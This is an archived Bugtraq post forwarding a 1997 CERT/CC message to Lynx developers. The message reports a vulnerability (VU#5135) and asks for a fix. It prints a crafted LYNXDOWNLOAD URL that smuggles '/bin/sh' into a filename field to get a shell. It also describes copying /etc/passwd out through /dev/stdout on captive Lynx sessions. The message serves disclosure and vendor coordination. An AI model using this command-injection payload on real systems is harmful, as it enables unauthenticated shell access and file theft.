Home page logo

bugtraq logo Bugtraq mailing list archives

From: brush () SEARCH POL PL (brush () SEARCH POL PL)
Date: Thu, 17 Jul 1997 16:42:22 -0000



                 LYNX-DEV VU#5135 (Lynx vulnerability?) (fwd)


     * To: Lynx Development <lynx-dev () sig net>
     * Subject: LYNX-DEV VU#5135 (Lynx vulnerability?) (fwd)
     * From: Duncan Hill <dhill () sunbeach net>
     * Date: Tue, 24 Jun 1997 07:56:04 +0400 (GMT-4)
     * cc: Roger Hill <rhill () stobyn ml org>
     * Reply-To: lynx-dev () sig net
     * Sender: owner-lynx-dev () quartz netop sig net


I'm not sure if the entire list got this.  I got it because I'm still
subscribed to the raven list :)  So, here it is in case nobody's seen
it yet.

Duncan Hill

---------- Forwarded message ----------
Date: Mon, 23 Jun 1997 17:52:06 -0400 (EDT)
From: "CERT(sm) Coordination Center" <cert () cert org>
Reply-To: lynx-dev () raven cc ukans edu
To: Lynx Developers <lynx-dev () raven cc ukans edu>
Cc: "CERT(sm) Coordination Center" <cert () cert org>
Subject: VU#5135 (Lynx vulnerability?)


Hello folks,

We have received a report of a potential vulnerability with lynx, which we
wanted to check with you on.

When you start up a lynx client session, you can hit "g" (for Goto) and
then enter the following URL:

        URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/
        Enter a filename: /dev/null
        File exists. Overwrite? (y/n) y

This then gives a shell on the client machine on which the lynx process is

Similarly, you can copy and inspect arbitrary files on the local system

        Enter a filename: /dev/stdout
        File exists. Overwrite? (y/n) y

This returns a copy of the /etc/password file to the user's browser

Normally this may not be a problem if you are executing lynx from your
local account on your workstation.

However, if you are running lynx as a captive information service (as
discussed on the lynx man page), then this means that an attacker can run
arbitrary commands and inspect arbitrary files on the victim system without

We are aware of one site where you can telnet to the system, and without
any authentication process, the user is given a lynx browser session.  By
entering the URL above, an attacker would then be able to obtain an
interactive shell on that system without having been authenticated.

We would be interested in knowing whether this is a known problem.  The
reporter suggested that disabling downloads would be an appropriate
workaround.  If you are in agreement with this, is this a feature that is
enabled by default?  (This would require the captive session to be started
using the "-restrictions=download" option, wouldn't it?)

If this is a known problem, have you any suggestions as to the solution, or
any idea whether patches are (or would be) available to address these

We would appreciate any feedback that you may have on these questions.
Thanks very much for your time.


| Rob McMillan                          Email:     cert () cert org
|| CERT Coordination Center (*)         Phone:     +1 (412) 268 7090 (24 x 7)
||| Software Engineering Institute      Fax:       +1 (412) 268 6989
|||| Carnegie Mellon University         Web:       http://www.cert.org
||||| Pittsburgh, Pa. 15213-3890        Timezone:  GMT-5 (EST)

* CERT is registered with the U.S. Patent and Trademark Office. The Software
  Engineering Institute is sponsored by the U.S. Department of Defense.

Version: 2.6.2


; To UNSUBSCRIBE:  Send a mail message to majordomo () sig net
;                  with "unsubscribe lynx-dev" (without the
;                  quotation marks) on a line by itself.


     * Re: LYNX-DEV VU#5135 (Lynx vulnerability?) (fwd)
          + From: Andrew Kuchling <amk () magnet com>


     * Prev: Re: LYNX-DEV VU#5135 (Lynx vulnerability?) (fwd)
     * Next: LYNX-DEV Missing people
     * Index(es):
          + Main
          + Thread


   Lynx mailing list archives


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]